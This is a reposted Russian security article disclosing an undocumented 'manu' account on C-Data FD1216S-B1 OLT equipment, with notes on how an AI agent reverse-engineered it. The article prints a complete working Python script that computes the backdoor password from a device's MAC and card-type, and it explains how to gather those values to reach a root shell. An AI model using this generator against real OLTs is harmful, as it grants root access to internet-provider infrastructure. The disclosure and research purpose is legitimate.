Вход на сайт

Просмотр новости

Найдите то, что Вас интересует

ИИ-поиск бэкдоров и уязвимостей, часть 3: бэкдор и уязвимость в OLT C-Data

Дата публикации: 12-08-2026 11:45:16

В прошлых двух частях (1, 2) было рассказано про найденные с помощью ИИ уязвимости, бэкдоры и недокументированные возможности для свитчей SNR и Huawei. В этой части пойдёт речь о бэкдоре в оборудовании OLT C-Data - операторском оборудовании для подключения абонентов по технологии EPON/GPON. В начале статьи будет описан сам бэкдор, а затем рассказано об особенностях использования ИИ для его поиска. Читать далее

Основное содержимое страницы с новостью.

В прошлых двух частях (1, 2) было рассказано про найденные с помощью ИИ уязвимости, бэкдоры и недокументированные возможности для свитчей SNR и Huawei. В этой части пойдёт речь о бэкдоре в оборудовании OLT C-Data - операторском оборудовании для подключения абонентов по технологии EPON/GPON. В начале статьи будет описан сам бэкдор, а затем рассказано об особенностях использования ИИ для его поиска.

Суть бэкдора: у оборудования C-Data FD1216S-B1 (CSM X001, HW version V1.1, FW version V1.6.0_250227) есть недокументированный пользователь manu. Его пароль зависит от MAC-адреса устройства и вычисляется как f(mac, card_type, seed), где seed - константа в коде. Схематично вычисление пароля выглядит следующим образом:

seed = 0xd38b6b35
K = xor_func(mac, card_type, seed)             # 24 байта
password = HMAC-SHA1_cdata(key=K, msg=mac)[:4]

Из интересного здесь то, что sha1_cdata это почти стандартный sha1, у которого изменен только IV (initialization vector).

Полный код генерации пароля (сгенерирован ИИ, работоспособность проверена автором):

manu_password.py
#!/usr/bin/env python3
"""Минимальный расчёт пароля manu (CDATA OLT): пароль = первые 4 байта
HMAC-SHA1 (key=out[24], msg=mac) в hex. SHA1 прошивочный: начальный IV задан
в нестандартном порядке регистров [h0,h3,h2,h4,h1] вместо обычного [h0..h4].

Пример: python3 manu_password.py --card-type 0x01060702 E0:67:B3:61:40:F5
"""
import argparse

SEED = bytes([0x35, 0x6B, 0x8B, 0xD3])          # 0xd38b6b35 (LE)
STATE_ORDER = [0, 3, 2, 4, 1]                   # h = [A, D, C, E, B]


def sha1_fw(data: bytes) -> bytes:
    ml = len(data) * 8
    msg = bytearray(data) + b'\x80'
    while len(msg) % 64 != 56:
        msg.append(0)
    msg += ml.to_bytes(8, 'big')
    std = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0]
    h = [std[i] for i in STATE_ORDER]
    for off in range(0, len(msg), 64):
        block = msg[off:off + 64]
        w = [int.from_bytes(block[i * 4:i * 4 + 4], 'big') for i in range(16)]
        for i in range(16, 80):
            v = w[i - 3] ^ w[i - 8] ^ w[i - 14] ^ w[i - 16]
            w.append(((v << 1) | (v >> 31)) & 0xFFFFFFFF)
        a, b, c, d, e = h
        for i in range(80):
            if i < 20:
                f = (b & c) | (~b & d); k = 0x5A827999
            elif i < 40:
                f = b ^ c ^ d; k = 0x6ED9EBA1
            elif i < 60:
                f = (b & c) | (b & d) | (c & d); k = 0x8F1BBCDC
            else:
                f = b ^ c ^ d; k = 0xCA62C1D6
            t = (((a << 5) | (a >> 27)) + f + e + k + w[i]) & 0xFFFFFFFF
            e, d, c, b, a = d, c, ((b << 30) | (b >> 2)) & 0xFFFFFFFF, a, t
        h = [(x + y) & 0xFFFFFFFF for x, y in zip(h, [a, b, c, d, e])]
    return b''.join(x.to_bytes(4, 'big') for x in h)


def hmac_fw(key: bytes, data: bytes) -> bytes:
    key = key + b'\x00' * (64 - len(key))
    return sha1_fw(bytes(x ^ 0x5c for x in key) + sha1_fw(bytes(x ^ 0x36 for x in key) + data))


def main() -> None:
    p = argparse.ArgumentParser(description='Пароль manu по card-type и MAC')
    p.add_argument('--card-type', type=lambda x: int(x, 0), required=True)
    p.add_argument('mac')
    a = p.parse_args()
    mac = bytes.fromhex(a.mac.replace(':', '').replace('-', ''))
    card = a.card_type.to_bytes(4, 'big')
    out = bytes([mac[j] ^ card[i] ^ SEED[i] for i in range(4) for j in range(6)])
    print(hmac_fw(out, mac)[:4].hex())


if __name__ == '__main__':
    main()

Примечательно, что стандартные высокоуровневые API SHA-1 в Python, Go и Rust не позволяют задать произвольный IV. OpenSSL имеет функцию SHA1_Transform и с её помощью можно реализовать описанный выше алгоритм без реализации функции sha1_fw, но этот низкоуровневый API объявлен deprecated в 3.0.

Значение card-type можно получить из вывода команды show hwinfo в пользовательском CLI (взять первые 8 символов и добавить префикс 0x при передаче в скрипт manu_password.py). Для C-Data FD1216S-B1 X001 это значение равно 0x01060702 (для других OEM-кастомизаций той же модели оно может отличаться - например, для X000 равно 0x01060701). Значение MAC-адреса можно посмотреть через команду show device.

Что даёт бэкдор

При входе пользователем manu в CLI в enable-режиме появляется команда manufacture. Внутри этого режима доступны start-shell (доступ к root-шеллу Linux) и bcm-shell (Broadcom SoC SDK). Также появляется ряд других команд, например debug и encrypt-dbg в enable-режиме CLI.

Применимость бэкдора

Для того чтобы вычислить пароль пользователя manu нужно знать MAC-адрес и card-type.

MAC-адрес, который используется для вычисления пароля совпадает с MAC-адресом outband-интерфейса. MAC-адрес inband-интерфейса отличается на 1 (на OLT FD1216S-B1 X001). Узнать его можно несколькими способами:

  • посмотреть на наклейке на самой OLT;

  • посмотреть через web-интерфейс (в том числе с правами пользователя группы guest);

  • посмотреть через CLI (например, через команду show device).

Для того чтобы узнать значение card-type нужно иметь доступ хотя бы на одно устройство такой же модели или извлечь это значение из прошивки путём реверс-инжиниринга. Количество этих значений сильно ограничено (по моей оценке, не более 100).

Подключаться пользователем manu можно через ssh, telnet и console-порт (автором проверены первые два варианта). Вход через web-интерфейс для пользователя manu заблокирован.

Анализ ряда некоторых других прошивок OLT C-Data указывает на то, что данный backdoor присутствует и на других моделях/версиях ПО, но настоящая проверка на OLT других моделей C-Data не производилась.

Особенности использования ИИ при поиске бэкдора

Для поиска бэкдора был использован подход, описанный в 1, использовался ZCode/GLM-5.2(max). У меня не было файла прошивки или дампа флеш-карты для FD1216S-B1 X001, поэтому пришлось анализировать максимально похожую, которую удалось найти в публичном доступе (здесь) (FD1216S-B1 X000). Что именно означает CSM X000 и X001 автору неизвестно, но предположительно это идентификатор OEM-кастомизации прошивки.

ИИ сразу же нашел скрытого пользователя manu, сразу же восстановил алгоритм генерации пароля, но пароль не подходил. Первая проблема была довольно очевидной: card-type у версии X000 отличался от X001. В коде скрипта генерации появилась константа 0x01060701; спросив у ИИ, как её посмотреть в CLI, стало понятно, что в опытном образце card-type равен 0x01060702, а не 0x01060701, как в исследуемой прошивке. Вторая проблема была несколько интереснее - ИИ пытался использовать стандартный hmac-sha1 вместо модифицированного варианта, т.е. идея минимальной модификации стандартного алгоритма сбила ИИ-агента. Далее, после сообщения ИИ, что пароль не подходит, было несколько попыток поиграться с big-endian/little-endian для входных и выходных данных. Это тоже не помогло. В конце концов ИИ-агент сдался и стал использовать angr symbolic execution и qemu, чтобы проверить, что его функции работают так же, как функции в прошивке. В результате он понял, что sha1 модифицированный (точнее, используется нестандартный IV). Можно было и не восстанавливать алгоритм на python - достаточно было обернуть несколько дизассемблированных функций в код на C/asm. Но это не очень удобно: в OLT используется arm32, и исполнять такие бинарники на современных ПК - нетривиальная задача. Подход был бы более системный, если бы сначала сделать генератор паролей на базе дизассемблированных функций (сделать обёртку над asm-функциями), проверить пароль на реальному устройстве и потом уже создавать скрипт на python или другом языке. Однако, эти указания не были даны ИИ-агенту, чтобы как можно меньше вмешиваться в его работу и наблюдать за тем как он справится (или не справится) самостоятельно.

В этот раз, в отличие от поиска Linux root shell на свитче huawei, ИИ-агент справился практически самостоятельно: автор статьи лишь просил “подумать ещё” и “попробовать другие варианты”. Возможно, это и не потребовалось бы при наличии доступа к оборудованию, который предоставлен не был.

P.S. В ходе анализа прошивки было найдено несколько кандидатов на уязвимости (или бэкдоры?), одно из которых проверено и подтверждено. В рамках этой статьи они опубликованы не будут, поскольку вендору ещё не была предоставлена возможность их устранить.

Схожие новости

#Наименование новостиТональностьИнформативностьДата публикации
1В роутерах Zbtlink нашли бэкдор. Производитель утверждает, что это инструмент сервисного обслуживания06.707-08-2026
2В Австралии ИИ-ассистент взломал сайт фитнес-центра, чтобы записать своего пользователя016.310-08-2026
3РТК-ЦОД запускает программу багбаунти на платформе Standoff Bug Bounty026.3723-07-2026
4Как агент сам откроет дверь хакеру? Разбираю три реальных пробоя AI-агентов и почему обычный ред-тиминг их не найдёт5828-06-2026
5Сбежавший из тестовой среды ИИ OpenAI взломал не только Hugging Face08.0430-07-2026
6Странные машины: как хакеры собирают процессор из данных0716-07-2026
7„Die KI ist ausgebrochen“: GData zur ungewollten Hackerattacke durch Open AI010.3824-07-2026
8Странные машины: как хакеры собирают процессор из данных07.216-07-2026
9Может ли AI-агент выполнять задачи сетевого инженера. Сбрасываем пароль роутера Cisco2609-07-2026

Классификация: Пресс-релизы. Схожих патентов: 0. Схожих новостей: 9. Тональность: 0. Информативность: 9.91. Источник: habr.com.